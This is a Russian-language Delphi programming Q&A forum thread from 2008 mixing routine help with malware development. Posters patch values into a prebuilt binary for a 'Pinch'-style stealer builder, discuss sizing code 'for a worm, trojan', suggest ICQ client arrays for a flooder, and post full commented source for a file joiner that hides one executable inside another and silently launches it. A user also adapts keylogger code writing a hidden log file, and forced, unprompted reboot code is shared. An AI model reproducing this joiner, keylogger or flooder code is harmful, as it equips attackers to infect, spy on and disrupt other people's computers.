Просмотр полной версии : [Delphi]/[Pascal] Задай вопрос, получи ответ
ForNeVeR
29.03.2008, 21:21
А что, для перевода вот этих пяти строк текста сделан большой русификатор? Или он и begin-end переводит? ;)
А что, для перевода вот этих пяти строк текста сделан большой русификатор? Или он и begin-end переводит? ;)
Руссификатор интерфейса лол! Ты что подумал что он руссифицирует синтаксис? :eek:
Flame of Soul
29.03.2008, 21:31
http://coderpage.h15.ru/_WORK/download.php?name=DELPHI&sub=HELP&topic=rusdelphi6.rar
руссификатор Delphi 6 ( 1.86 MB )
http://softok.org/dload/coding/delphi/4837dload.html
Русификация для Delphi 3,4,5,6,7 2.5
и есче google.ru
Результаты 1 - 10 из примерно 107 000 для русификатор Delphi. (0,18 секунд)
+ много много рекламы и баннеров
я в дельфи вообще не силен...
подскажите пожалуйста как сделать билдер(как пинчбилдер) если есть исходник программы?
в программе нужно менять две переменных перед созданием билда
не надо только говорить о том как это делается без компилятора, мне нужна именно форма где будет 2 едита и кнопка для создания
var
f, i, j, flen, fread: integer;
Buffer: PChar;
repl, res : string;
begin
repl := 'Azik'#0; // Сюда пишешь то, что надо заменить
res := 'Hulo'#0; // Сюда пишешь такой же длины, на что меняем.
f := FileOpen('test.exe',fmOpenReadWrite);
flen := FileSeek(f, 0, 2);
FileSeek(f, 0, 0);
Buffer := PChar(AllocMem(flen + 1));
fread := FileRead(f, Buffer^, flen);
for i := 0 to fread - 1 - length(repl) do
begin
for j := 0 to length(repl) - 1 do
if Buffer[i + j] <> repl[1 + j] then
break;
if j = length(repl) then // Никогда не делай так!!! :) Мне можно =)
begin
FileSeek(f, i, 0);
FileWrite(f, PChar(res)^, length(res));
end;
end;
FreeMem(Buffer);
FileClose(f);
end;
Этот код заменяет в файле test.exe буквы Azik и 0-символ на буквы Hulo и 0-символ. Вместо Azik пиши содержимое твоей текстовой переменной.
ForNeVeR
29.03.2008, 23:06
Руссификатор интерфейса лол! Ты что подумал что он руссифицирует синтаксис? :eek:
Это была шутка :)
De-visible
30.03.2008, 11:40
_http://forum.x-coder.ru/showpost.php?p=2040&postcount=1
А кто-нть знает как реализвать
var
ss:Tstrings;
begin
ss:=TStringList.Create;
ss.LoadFromFile('uins.txt');
ss.NameValueSeparator:=';';
ICQClient1.UIN := StrToInt(ss.Names[1]);
ICQClient1.Password := ss.ValueFromIndex[1];
без формы?
De-visible конечно хотелось бы реализацию на Delphi но и самого алгоритма хватит.... спасибо за ссылки.... но если будет реализация на делфи то срадостью возьму. У меня есть реализованное на Си++ но си недостаточно знаю чтоб перевести в Delphi...)))))
De-visible
30.03.2008, 19:12
А кто-нть знает как реализвать
Код:
var
ss:Tstrings;
begin
ss:=TStringList.Create;
ss.LoadFromFile('uins.txt');
ss.NameValueSeparator:=';';
ICQClient1.UIN := StrToInt(ss.Names[1]);
ICQClient1.Password := ss.ValueFromIndex[1];
без формы?
Реализуй с помощью сокетов(WinSock)!
без формы?
Реализуй с помощью сокетов(WinSock)!
Товарисч =), вы шутите?
De-visible
30.03.2008, 19:57
Товарисч =), вы шутите?
А что?
ForNeVeR
30.03.2008, 20:01
Человек использует компонент TICQClient именно для того, чтобы напрямую не работать с сокетами и подобной демонологией.
А без формы можно сделать, если эти TICQClient'ы создавать динамически, примерно так (точно не помню а дельфы под рукой нету, но вроде бы так):
var ICQClient: TICQClient;
begin
ICQClient := TICQClient.Create(список_параметро _увы_не_помню);
ICQClient1.UIN := StrToInt(ss.Names[1]);
ICQClient1.Password := ss.ValueFromIndex[1];
end;
De-visible
30.03.2008, 20:05
Человек использует компонент TICQClient именно для того, чтобы напрямую не работать с сокетами и подобной демонологией.
А без формы можно сделать, если эти TICQClient'ы создавать динамически, примерно так (точно не помню а дельфы под рукой нету, но вроде бы так):
var ICQClient: TICQClient;
begin
ICQClient := TICQClient.Create(список_параметро _увы_не_помню);
ICQClient1.UIN := StrToInt(ss.Names[1]);
ICQClient1.Password := ss.ValueFromIndex[1];
end;
TICQClient.Create(список_параметро _увы_не_помню)
TICQClient.Create(nil)
Сколько весит модуль ICQClient?
ForNeVeR
30.03.2008, 20:07
А зачем его куда-то закидывать? Достаточно упомянуть в uses и всё. А создавать в коде, как я написал выше.
Хотя смотря какой компонент... Но TICQClient это позволяет, насколько я помню. Видел примеры консольных ботов с его использованием.
А если все компоненты нужно складывать на форму, как, например, сделать программу умножения матриц, скажем 10x10? Сложить на форму 200 едитов и каждому прописать обработчик? Это, простите, варварство :)
ForNeVeR
30.03.2008, 20:26
De-visible, модуль со всем сопроводиловом в исходниках (там несколько файлов) - 500 кб. В dcu - 300. Всё в архиве - 280 :)
По поводу TICQClient.Create(nil) - правильно, посмотрел исходник, действительно запрашивает только Owner'а. Ни сервера, нифига. Видимо, в параметрах задаётся или позже, в рабочем порядке.
ЗЫ. Сам не являюсь пользователем этого модуля и пишу свою библиотеку для работы с OSCAR'ом в C++ :D
ЗЫ: Сорри за даблпостенг, просто если я бы опять (в который раз) отредил предыдущий пост, то De-Visible в ответ бы отредил свой пост, и, в общеМ, в дальнейшем общение бы так и происходило, как в каком-то глючнейшем чате. Что не есть хорошо :)
De-visible
30.03.2008, 20:30
De-visible, модуль со всем сопроводиловом в исходниках (там несколько файлов) - 500 кб. В dcu - 300. Всё в архиве - 280 :)
По поводу TICQClient.Create(nil) - правильно, посмотрел исходник, действительно запрашивает только Owner'а. Ни сервера, нифига. Видимо, в параметрах задаётся или позже, в рабочем порядке.
ЗЫ. Сам не являюсь пользователем этого модуля и пишу свою библиотеку для работы с OSCAR'ом в C++ :D
De-visible, модуль со всем сопроводиловом в исходниках (там несколько файлов) - 500 кб. В dcu - 300. Всё в архиве - 280
Вес что с формой, что без нее! - МНОГО!
(Для написания червя, троя)
ForNeVeR
30.03.2008, 20:35
С таким модулем не вирус, а троян уже получается... А всё ненужное в указанном случае из модуля рекомендуется убрать нафиг. Допустим, функции получения X-статусов, запросов авторизации и т.д.
Да и для любой качественной, оптимизированной софтины я не рекомендовал бы ипользование этого компонента, написанного фиг знает когда с кучей ненужного кода и полуреализованных "задумок на будущее". Моя практически функционирующая библиотечка (включающая в себя только необходимое!) на .net в исходном коде весит чуть более 20 кб.
De-visible
30.03.2008, 21:04
Да и для любой качественной, оптимизированной софтины я не рекомендовал бы ипользование этого компонента, написанного фиг знает когда с кучей ненужного кода и полуреализованных "задумок на будущее". Моя практически функционирующая библиотечка (включающая в себя только необходимое!) на .net в исходном коде весит чуть более 20 кб.
Почему я и предложил WinSock :)
Спасибо ForNeVeR за код и De-visible за дополнение , а размер для меня покачто не важен .
De-visible
30.03.2008, 21:26
Спасибо ForNeVeR за код и De-visible за дополнение , а размер для меня покачто не важен .
В uses добавить ICQClient не забудь!
:)
Хелп! Тот код по-чемуто не пашит СКРИН ЗДЕСЬ (http://manoff.z16.ru/1.JPG)
De-visible
30.03.2008, 22:38
var ICQ: TICQClient;
begin
ICQ:= TICQClient.Create(nil);
ICQ.UIN :=555555;
ICQ:=12345;
end;
ну и так далее!
Попробуй так!
program isqB;
uses Windows,SysUtils,Registry,ICQClient,ICQWorks,FileC trl;
var
k:string;
ICQ: TICQClient;
{$R *.dfm}
{$R *.res}
begin
begin
ICQ:= TICQClient.Create(nil);
ICQ.UIN:=44028835;
ICQ.Password:='kd';
ICQ.ICQServer:='login.icq.com';
ICQ.ICQPort:=5190;
icq.Status:=8;
ICQ.Login();
end;
end.
Вот код и по идее он должен конектить к серву , НО он этого не делает в чём ошибка - не пойму походу дела у меня руки кривоваты :( .
De-visible
30.03.2008, 23:21
Да кривоваты,Зачем два раза begin и end писать???
program isqB;
uses Windows,SysUtils,Registry,ICQClient,ICQWorks,FileC trl;
var
k:string;
ICQ: TICQClient;
{$R *.dfm}
{$R *.res}
begin
ICQ:= TICQClient.Create(nil);
ICQ.UIN:=44028835;
ICQ.Password:='kd';
ICQ.ICQServer:='login.icq.com';
ICQ.ICQPort:=5190;
icq.Status:=8;
ICQ.Login();
end.
Да и так не рабит .
Хотя с формой всё тип-топ было!
De-visible
30.03.2008, 23:55
program isqB;
uses Windows,SysUtils,Registry,ICQClient,ICQWorks,FileC trl;//Здесь пробел не забудь убрать!!(Форум вставил)
var
k:string;
ICQ: TICQClient;
begin
ICQ:= TICQClient.Create(nil);
ICQ.UIN:=44028835;
ICQ.Password:='kd';
ICQ.ICQServer:='login.icq.com';
ICQ.ICQPort:=5190;
icq.Status:=8;
ICQ.Login();
end.
Без ресурсов компилится:)
De-visible
31.03.2008, 01:28
Наконец-то!:)
Кстати если вдруг не знал можно сделать массив компонентов(Применить можно при создании многопоточного флудера:))
program isqB;
uses Windows,SysUtils,Registry,ICQClient,ICQWorks,FileC trl;//Здесь пробел не забудь убрать!!(Форум вставил)
var
k:string;
ICQ: array [1..30] of TICQClient;
begin
ICQ[1]:= TICQClient.Create(nil);
ICQ[1].UIN:=44028835;
ICQ[1].Password:='kd';
ICQ[1].ICQServer:='login.icq.com';
ICQ[1].ICQPort:=5190;
icq[1].Status:=8;
ICQ[1].Login();
end.
Гугл не захотел помочь нормально с отключением ява скриптов в твеббраузере. =/ и оффтопный вопрос: какой ща последний делфи? А то я на 7 учусь.Есть ли смысл переходить на другой?Для новичка.
De-visible
31.03.2008, 09:21
=/ и оффтопный вопрос: какой ща последний делфи? А то я на 7 учусь.Есть ли смысл переходить на другой?Для новичка.
Зачем переходить?Очень не плохой DElphi7 сам на нем сижу!:)
Гугл не захотел помочь нормально с отключением ява скриптов в твеббраузере. =/ и оффтопный вопрос: какой ща последний делфи? А то я на 7 учусь.Есть ли смысл переходить на другой?Для новичка.
ForNeVeR
31.03.2008, 14:24
Последняя Delphi 2007, явных отличий, из-за которых новичку захочется перейти сюда с семёрки (кроме слегка модфицированного интерейса, теперь напоминающего MS Visual Studio) не вижу. Вроде ещё есть возможность работы с .NET, но у меня версия D2007 for Win32 так что оценить не смог :)
Вердикт - пока смысла менять семёрку не что-либо другое не стоит.
Последняя Delphi 2007, явных отличий, из-за которых новичку захочется перейти сюда с семёрки (кроме слегка модфицированного интерейса, теперь напоминающего MS Visual Studio) не вижу. Вроде ещё есть возможность работы с .NET, но у меня версия D2007 for Win32 так что оценить не смог :)
Вердикт - пока смысла менять семёрку не что-либо другое не стоит.
Ошибаемся товарисч =)
ИМХО если есть возможность, конечно переходи
А моё (и не только моё) имхо - лучшие версии делфы - это тройка, шестёрка, xrnm похуже - семёрка (хотя сам сижу на ней).
Касательно Delphi >= 8 - единственное, что там заметно - огромное влияние мелко$офта, который, по сути, скушал Borland. Там, на самом деле, всё, что есть - это та самая .NET, выдуманная опять же мелко$офтом взамен Борландовской COM...
Короче говоря, Delphi >= 8 - это полный отказ Борланда от своих принципов и переход под крыло мелко$офта.
Нисагласен, в 2007 идет Indy11
ZirroCool
03.04.2008, 00:47
Пишу файловый клиент, смысл таков в первое поле вводим адрес файла во второе почту, в третье символы с картинки!
проблема в капче, как делаю я(неправильно), тупо скачиваю картинку и загружаю ее в timage, далее юзер вводит данные и прога пытается отправить пост запрос на сервак!отправляет но бестолку!
Вопрос:
как сделать загрузку картинки правильно? возможно узнав ее айди и при составлении запроса добавлять его? Просьба помочь! Если можно подробней и с примером!заранее спасибо
А моё (и не только моё) имхо - лучшие версии делфы - это тройка, шестёрка, xrnm похуже - семёрка (хотя сам сижу на ней).
Касательно Delphi >= 8 - единственное, что там заметно - огромное влияние мелко$офта, который, по сути, скушал Borland. Там, на самом деле, всё, что есть - это та самая .NET, выдуманная опять же мелко$офтом взамен Борландовской COM...
Короче говоря, Delphi >= 8 - это полный отказ Борланда от своих принципов и переход под крыло мелко$офта.
Полностью с тобой согласен.
Начинал програмить на 5-той, потом перешол на 6,7 но когда увидел 8-ку был в шоке, потому досих пор сижу на 7-ке.
ZirroCool, сорс, сайт с картинкой и т.д. в студию, я свой телепат шлем отдал другу, поэтому понять чё у тебя там не получается не могу, не знаю как остальные
ZirroCool
03.04.2008, 14:05
вот сервис mailsend.kiber-zona.org
вот в принцепе весь код который я написал, но ошибка в капче я точно знаю, по этому и спрашиваю как это сделать правильно!
function DownloadFile(SourceFile, DestFile: string): Boolean;
begin
try
Result := UrlDownloadToFile(nil, PChar(SourceFile), PChar(DestFile), 0, nil) = 0;
except
Result := False;
end;
end;
procedure JPEGtoBMP(const FileName: TFileName);
var
jpeg: TJPEGImage;
bmp: TBitmap;
begin
jpeg := TJPEGImage.Create;
try
jpeg.CompressionQuality := 100; {Default Value}
jpeg.LoadFromFile(FileName);
bmp := TBitmap.Create;
try
bmp.Assign(jpeg);
bmp.SaveTofile(ChangeFileExt(FileName, '.bmp'));
finally
bmp.Free
end;
finally
jpeg.Free
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
const
SourceFile = 'http://mailsend.kiber-zona.org/captcha/index.php';
DestFile = 'index.jpeg';
begin
DownloadFile(SourceFile, DestFile);
JPEGtoBMP('index.jpeg');
image1.Picture.LoadFromFile('index.bmp');
end;
procedure TForm1.BitBtn1Click(Sender: TObject);
var
response: string;
formData: TIdMultiPartFormDataStream;
begin
formData := TIdMultiPartFormDataStream.Create;
formData.AddFormField('usrurl',Edit1.text);
formData.AddFormField('mail',Edit2.text);
formData.AddFormField('simbols',Edit3.text);
response := idHTTP1.Post('http://mailsend.kiber-zona.org/index.php',formData);
end;
ToniKapuchon
03.04.2008, 18:34
разбираюсь с сортировкой шелла, но чего то не получается у меня проверить все элементы находящиеся на одинаковом расстоянии:
Вот код навоял, типа проверка первого элемента с элементами через расстояния:
g1 := kolvo div 2; //расстояние между элементами
repeat
if mass[j1]<=mass[j1+g1] then
begin
end
else
begin
Tmp1 := mass[j1];
mass[j1] := mass[j1+g1];
mass[j1+g1] := Tmp1;
end;
j1:=j1+g1;
until (g1<kolvo);
Student :)
04.04.2008, 11:36
как сжать папку с файлами на Delphi?
желательно в rar?
Может есть компоненты ?
Устанавливаешь ZipForge и как то так =)
procedure Arhived(Dir, inFile, outFile: String);
var
arh: TZipForge;
begin
arh := TZipForge.Create(nil);
with arh do
try
FileName := Dir + outFile;
BaseDir := Dir;
Active := true;
AddFiles(inFile);
Active := False;
finally
Free;
end;
end;
А вообще у ZipForge хороший ман... там всё есть
А как в Делфи написать прогу , которая записывала бы себя в ЕХЕ и при запуске этого ЕХЕ запускалась бы старая и прога и та , которая переписывает себя ?
ты же процитировал, как это не видишь? о_О
P.S. system("rar a -m5 arch.rar files")
De-visible
04.04.2008, 19:40
Вот откопал исходники примитивного склейщика 2 файлов!
Procedure Joiner(fName,fPath,fCMD:string;fstart:boolean;fSho w:Cardinal);
const
mSize=56789;//Размер программы-носителя к которой будет крениться файл
fSize=12345;//Размер крепимого файла
//Эти два значения мы устанавливаем опытным путем и записываем сами
type
MnBuf=array[1..mSize] of Char;
FlBuf=array[1..fSize] of Char;
LaBuf=array[1..8] of Char;
var
mBuf : MnBuf;
fBuf : FlBuf;
lBuf : LaBuf;
f : File of Char;
begin
FileMode:=0;//Устанавливаем режим работы с файлами “Только чтение”
AssignFile(f,Paramstr(0));//Ассоциируем переменную f с путём к себе
Reset(f);//Открываем себя
Seek(f,$1C);//Переходим на позицию чтения 1Ch, т.е. 28 байт
//В DOS-заголовке ехе-файла на имеются зарезервированные места,
//которые пока их не заняли мы можем свободно использовать
//на позиции 1Сh имеется 8 байт, на позиции 28h (40-й байт) свободно 20 байт
BlockRead(f,lBuf,8);//Считываем в буфер, начиная с текущей позиции 8 байт в переменную lBuf
if LBuf=’E}{eC()M’ then
//Если в этом месте наша метка значит файл уже приклеин и нам необходимо
//его из себя извлечь и по необходимости запустить в выбраном режиме отображения
//Метку можете придумать свою, она может иметь размер не более 8 байт в этой позиции
// и не более 20 байт в позиции 28h… Мы находимся на втором уровне
Begin
Seek(f,FileSize(f)-fSize);//Переходим на позицию начала приклеенного файла
BlockRead(f,fBuf,fSize);//Считываем в буфер весь приклееный файл
CloseFile(f);//Закрываем себя
FileMode:=2;//Устанавливаем режим работы с файлами “Только запись”
{$I-}//Отключаем проверку ошибок ввода вывода
AssignFile(f,fPath+fName);//Ассоциируем переменную f с выбраным путём распаковки
ReWrite(f);//Создаем с перезаписью пустой файл
BlockWrite(f,fBuf,fSize);//Выгружаем в новый файл данныей загруженные из конца своего файла
CloseFile(f);//Закрываем себя
{$I+}//Включаем проверку ошибок ввода вывода
if fStart then WinExec(PChar(fPath+fName+’ ‘+fCMD),fShow);
//Если fStart true запускаем извлеченный файл с выбраным способом отображения и командной строкой
end
else
//Если в этом месте не стоит наша метка то файл не содержит в себе оверлейного файла
//Значит мы находимся на первом уровне, и к программе-носителю необходимо приклеить файл
begin
{$I-}//Отключаем проверку ошибок ввода вывода
Seek(f,0);//Переходим на позицию начала своего файла
BlockRead(f,mBuf,mSize);//Считываем в буфер весь свой файл
CloseFile(f);//Закрываем себя
AssignFile(f,fname);//Ассоциируем переменную f с путём к клеемому файлу
Reset(f);//Открываем его
BlockRead(f,fBuf,fSize);//Берём в бефер весь клеимый файл
CloseFile(f);//Закрываем клеимый файл
FileMode:=2;//Устанавливаем режим работы с файлами “Только запись”
AssignFile(f,paramstr(0)+’.ExE’);//Ассоциируем переменную f с путём к файлу с именем,
//как у файла носителя + .ЕхЕ
ReWrite(f);//Создаём новый пустой файл
BlockWrite(f,mBuf,mSize);//выгружем в файл содержимое буфера взятое из себя
BlockWrite(f,fBuf,fSize);//выгружем в файл содержимое буфера взятое из клеимого файла
seek(f,$1C);//Переходим на позицию установки метки
LBuf:=’E}{eC()M’;//Присваивем переменной значение метки
BlockWrite(f,LBuf,8);//Выгружаем метку с перезаписью старих байт на позицию её прибывания
CloseFile(f);//Закрываем файл
{$I+}//Включаем проверку ошибок ввода вывода
end;
end;
begin
//Применение процедуры Joiner:
//fName - Имя клеимого файла
//fPath - Папка распаковки файла
//fCMD - командная строка запуска файла (если есть)
//fstart - true - запускаем, false - не запускаем, извлечённый файл
//fShow - Режим отображения запущеного файла например:
//SW_HIDE - Прячет окно и переводит в активное состояние другое окно.
//SW_MINIMIZE - Минимизирует окно и активизирует окно верхнего уровня в списке менеджера окон.
//SW_RESTORE - Действует так же, как и SW_SHOWNORMAL.
//SW_SHOW - Активизирует окно и выводит его в текущей позиции и текущего размера.
//SW_SHOWDEFAULT - Активизирует окно и выводит его с использованием текущих умолчаний.
//SW_SHOWMAXIMIZED - Активизирует окно и выводит его с максимально размером.
//SW_SHOWMINIMIZED - Активизирует окно и выводит его в виде пиктограммы.
//SW_SHOWMINNOACTIVATE - Выводит окно как пиктограмму; бывшее активныь в данный момент окно остается активным.
//SW_SHOWNA - Выводит окно с учетом его состояния в данный момент; активное в данный момент окно остается активным.
//SW_SHOWNOACTIVATE - Выводит окно в его прежней позиции и прежнего размера; активное в данный момент окно остаета активным.
//SW_SHOWNORMAL - Активизирует окно и выводит его на экран. Если окно было увеличено или уменьшено до пиктограммы, то система Windows восстановит начальное положение и размер окна.
//SW_SHOWSMOOTH - Выводит окно так, чтобы оно меньше всего перекрывалось с другими окнами.
======================================
Так же можешь использовать Asm вставки!
Вот решил разобратьсяв коде кейлогера
взят из этой темы(последний пост):
ССЫЛКА (http://forum.antichat.ru/threadnav41858-2-10-%EA%E5%E9%EB%EE%E3%E5%F0.html)
и возник один вопрос:
как сделать так, чтобы файл, в который записывается лог клавиш был доступен для чтения, а то все мои попытки не увенчались успехом (нужно чтобы была возможность считывать в стринговом формате)?Вот отрывок кода:
type
UINT=Cardinal;
DWORD=Cardinal;
SHORT=SmallInt;
HKL = LongWord;
HKEY = type LongWord;
THandle = Cardinal;
HWND=Cardinal;
BOOL = Boolean;
_SYSTEMTIME = record
wYear: Word;
wMonth: Word;
wDayOfWeek: Word;
wDay: Word;
wHour: Word;
wMinute: Word;
wSecond: Word;
wMilliseconds: Word;
end;
TSystemTime = _SYSTEMTIME;
MMRESULT = UINT;
TOverLapped = record
Internal: LongWord;
InternalHigh: LongWord;
Offset: LongWord;
OffsetHigh: LongWord;
hEvent: LongWord;
end;
TSecurityAttributes = record
nLength: LongWord;
lpSecurityDescriptor: Pointer;
bInheritHandle: LongBool;
end;
POverlapped = ^TOverlapped;
PSecurityAttributes = ^TSecurityAttributes;
TFNTimeCallBack = procedure(uTimerID, uMessage: UINT;
dwUser, dw1, dw2: DWORD) stdcall;
var
TIDA:Integer;
TID:Integer;
loggern:pchar;
wintext:array[0..144]of char;
_temp:^cardinal;
wrote:longWord;
buffer:array[0..40000] of char;
FH:THandle;
acWindow:HWND;
path:string;
function MakeWord(A, B: Byte): Word;
begin
Result := A or B shl 8;
end;
function RegCreateKey(hKey: HKEY; lpSubKey: PChar;
var phkResult: HKEY): Longint; stdcall; external 'advapi32' name 'RegCreateKeyA';
function RegSetValueEx(hKey: HKEY; lpValueName: PChar;
Reserved: DWORD; dwType: DWORD; lpData: Pointer; cbData: DWORD): Longint; stdcall; external 'advapi32' name 'RegSetValueExA';
function RegCloseKey(hKey: HKEY): Longint; stdcall; external 'advapi32' name 'RegCloseKey';
function GetKeyboardLayout(dwLayout: DWORD): HKL; stdcall; external 'user32' name 'GetKeyboardLayout';
function GetWindowThreadProcessId(hWnd: HWND; lpdwProcessId: Pointer): DWORD; stdcall; external 'user32' name 'GetWindowThreadProcessId';
function GetForegroundWindow: HWND; stdcall; external 'user32' name 'GetForegroundWindow';
function GetAsyncKeyState(vKey: Integer): SHORT; stdcall; external 'user32' name 'GetAsyncKeyState';
function GetKeyState(nVirtKey: Integer): SHORT; stdcall; external 'user32' name 'GetKeyState';
function timeSetEvent(uDelay, uResolution: UINT;
lpFunction: TFNTimeCallBack; dwUser: DWORD; uFlags: UINT): MMRESULT; stdcall; external 'winmm.dll' name 'timeSetEvent';
function GetWindowText(hWnd: HWND; lpString: PChar; nMaxCount: Integer): Integer; stdcall; external 'user32' name 'GetWindowTextA';
function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: LongWord;
lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: LongWord;
hTemplateFile: LongWord): LongWord; stdcall;
external 'kernel32.dll' name 'CreateFileA';
function SetFilePointer(hFile: THandle; lDistanceToMove: Longint;
lpDistanceToMoveHigh: Pointer; dwMoveMethod: DWORD): DWORD; stdcall; external 'kernel32' name 'SetFilePointer';
function GetFileSize(hFile: THandle; lpFileSizeHigh: Pointer): DWORD; stdcall; external 'kernel32' name 'GetFileSize';
function WriteFile(hFile: LongWord; const Buffer; nNumberOfBytesToWrite: LongWord;
var lpNumberOfBytesWritten: LongWord; lpOverlapped: POverlapped): LongBool; stdcall;
external 'kernel32.dll' name 'WriteFile';
function SetFileAttributes(lpFileName: PChar; dwFileAttributes: DWORD): BOOL; stdcall; external 'kernel32' name 'SetFileAttributesA';
function CloseHandle(hObject: THandle): BOOL; stdcall; external 'kernel32' name 'CloseHandle';
function lstrlen(lpString: PChar): Integer; stdcall; external 'kernel32' name 'lstrlenA';
function lstrcpy(lpString1, lpString2: PChar): PChar; stdcall; external 'kernel32' name 'lstrcpyA';
function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external 'kernel32' name 'lstrcatA';
function GetWindowsDirectory(lpBuffer: PChar; uSize: UINT): UINT; stdcall; external 'kernel32' name 'GetWindowsDirectoryA';
function GetTempPath(nBufferLength: DWORD; lpBuffer: PChar): DWORD; stdcall; external 'kernel32' name 'GetTempPathA';
procedure Sleep(milliseconds: Cardinal); stdcall; external 'kernel32.dll' name 'Sleep';
procedure GetSystemTime(var lpSystemTime: TSystemTime); stdcall; external 'kernel32' name 'GetSystemTime';
//...................
//...................
path:='syslog.txt';
FH:=CreateFile(Pchar(path),$40000000,$00000002,nil ,2,0,0);
SetFileAttributes(Pchar(path),$00000002);
Dr.KoD
http://msdn2.microsoft.com/en-us/library/aa363858(VS.85).aspx
FH:=CreateFile(Pchar(path),$40000000,$00000002,nil ,2,0,0);
лень разбираца но вроде какой то параметр отвечает за атрибут файла системный скрытый для чтения и т д
dwFlagsAndAttributes
HANDLE WINAPI CreateFile(
__in LPCTSTR lpFileName,
__in DWORD dwDesiredAccess,
__in DWORD dwShareMode,
__in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes,
__in DWORD dwCreationDisposition,
__in DWORD dwFlagsAndAttributes, - вот это надо менять
__in_opt HANDLE hTemplateFile
Attribute Meaning
FILE_ATTRIBUTE_ARCHIVE
32
0x20
The file should be archived. Applications use this attribute to mark files for backup or removal.
FILE_ATTRIBUTE_ENCRYPTED
16384
0x4000
The file or directory is encrypted. For a file, this means that all data in the file is encrypted. For a directory, this means that encryption is the default for newly created files and subdirectories. For more information, see File Encryption.
This flag has no effect if FILE_ATTRIBUTE_SYSTEM is also specified.
FILE_ATTRIBUTE_HIDDEN
2
0x2
The file is hidden. Do not include it in an ordinary directory listing.
FILE_ATTRIBUTE_NORMAL
128
0x80
The file does not have other attributes set. This attribute is valid only if used alone.
FILE_ATTRIBUTE_OFFLINE
4096
0x1000
The data of a file is not immediately available. This attribute indicates that file data is physically moved to offline storage. This attribute is used by Remote Storage, the hierarchical storage management software. Applications should not arbitrarily change this attribute.
FILE_ATTRIBUTE_READONLY
1
0x1
The file is read only. Applications can read the file, but cannot write to or delete it.
FILE_ATTRIBUTE_SYSTEM
4
0x4
The file is part of or used exclusively by an operating system.
FILE_ATTRIBUTE_TEMPORARY
256
0x100
The file is being used for temporary storage. File systems avoid writing data back to mass storage if sufficient cache memory is available, because an application deletes a temporary file after a handle is closed. In that case, the system can entirely avoid writing the data. Otherwise, the data is written after the handle is closed.
);
вроде че то типо того или я непонял )
Блин в самый главный справочник забыл заглянуть, все спасиб разобрался.
FIND_ERROR
09.04.2008, 07:08
глюк с TICQClient а именно в использовании функции
SetSelfInfoGeneral неменяет инфу ХЗ почему.
Подключаюсь пытаюсь сменить инфу но увы, некаких ошибок невыдаёт мож кто уже сталкивался и знает как решить даную проблему! зарание благгодарен!
ForNeVeR
09.04.2008, 14:55
Дело, возможно, в том, что компонент писался ОЧЕНЬ давно, с тех пор на серверах Icq было много изменений. Например, старая версия крысы (созданная на базе именно этого компонента) у меня тоже инфу сохраняла некорректно. Тут можно только поискать более свежую версию компонента (хотя сам автор его забросил, есть альтернативные сборки).
FIND_ERROR
09.04.2008, 16:17
версия самая свежая что на его саите, то что нашёл из альтернативных сборок тоже инфу неменяет... может есть какой другой способ? или имеються ссылки на рабочий компонент ?
Давно ничего подобного не писал. Но если ты качал с сайта кобанса то ничего удивительного - релиз действительно очень старый. Попробуй вот этот (http://www.kozachok.net.ua/downloads/TIcqClient/), исправленный и слегка дополненный.
xaker-boss
10.04.2008, 15:17
1.Как на Vista программно вытащить сидиром?
2.Как на Vista программно перезагрузить комп, неспрашивая у пользователя?
ZirroCool
10.04.2008, 15:21
так же как и в хп =), если я не ошибаюсь!
1. http://www.liveofpc.3dn.ru/publ/4-1-0-14
и
2. ShellExecute(0, "open", "cmd.exe", "shutdown -s", 0, SW_HIDE);// Исправил
xaker-boss
10.04.2008, 15:52
2.Слово ShellExecute подчёркивается красным и показывает мне это:
[DCC Error] Unit1.pas(51): E2003 Undeclared identifier: 'ShellExecute'
[DCC Error] Project1.dpr(5): F2063 Could not compile used unit 'Unit1.pas'
3.Как вырубить Explorer ?
Если память не изменяет, для использования ShellExecute надо подключить модуль ShellApi. Можно заместо ShellExecute воспользоваться WinExec
Что значит "вырубить Explorer"? О чем речь - браузер или проводник?
xaker-boss
10.04.2008, 16:04
а как подключить модуль ShellApi? если можно поподробней
Explorer - Тот что позволяет лазить по папкам, показывает значки на рабочем столе и тд
ZirroCool
10.04.2008, 16:08
а как подключить модуль ShellApi? если можно поподробней
Explorer - Тот что позволяет лазить по папкам, показывает значки на рабочем столе и тд
uses shellapi
De-visible
10.04.2008, 21:05
а как подключить модуль ShellApi? если можно поподробней
Explorer - Тот что позволяет лазить по папкам, показывает значки на рабочем столе и тд
_http://www.nowa.cc/showthread.php?t=124958
Вот про "убийство" процессов
xaker-boss
10.04.2008, 21:08
Я конечно извеняюсь за мой флуд, но может ли мне ктонебуть подсказать нармальный, рабочий код чтобы вырубить/или/перезагрузить винду???
Желательно на подобие этого: ShellExecute(0, 'open', 'cmd.exe', 'shutdown -s', 0, SW_HIDE);
тока этот почемуто нехочет работать.
De-visible
10.04.2008, 21:19
Я конечно извеняюсь за мой флуд, но может ли мне ктонебуть подсказать нармальный, рабочий код чтобы вырубить/или/перезагрузить винду???
Желательно на подобие этого: ShellExecute(0, 'open', 'cmd.exe', 'shutdown -s', 0, SW_HIDE);
тока этот почемуто нехочет работать.
function MyExitWindows(RebootParam: Longword): Boolean;
var
TTokenHd: THandle;
TTokenPvg: TTokenPrivileges;
cbtpPrevious: DWORD;
rTTokenPvg: TTokenPrivileges;
pcbtpPreviousRequired: DWORD;
tpResult: Boolean;
const
SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
begin
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
tpResult := OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
TTokenHd);
if tpResult then
begin
tpResult := LookupPrivilegeValue(nil,
SE_SHUTDOWN_NAME,
TTokenPvg.Privileges[0].Luid);
TTokenPvg.PrivilegeCount := 1;
TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
cbtpPrevious := SizeOf(rTTokenPvg);
pcbtpPreviousRequired := 0;
if tpResult then
Windows.AdjustTokenPrivileges(TTokenHd,
False,
TTokenPvg,
cbtpPrevious,
rTTokenPvg,
pcbtpPreviousRequired);
end;
end;
Result := ExitWindowsEx(RebootParam, 0);
end;
//Выключение
procedure TForm1.Button18Click(Sender: TObject);
begin
MyExitWindows(EWX_POWEROFF or EWX_FORCE);
end;
//Перезагрузка
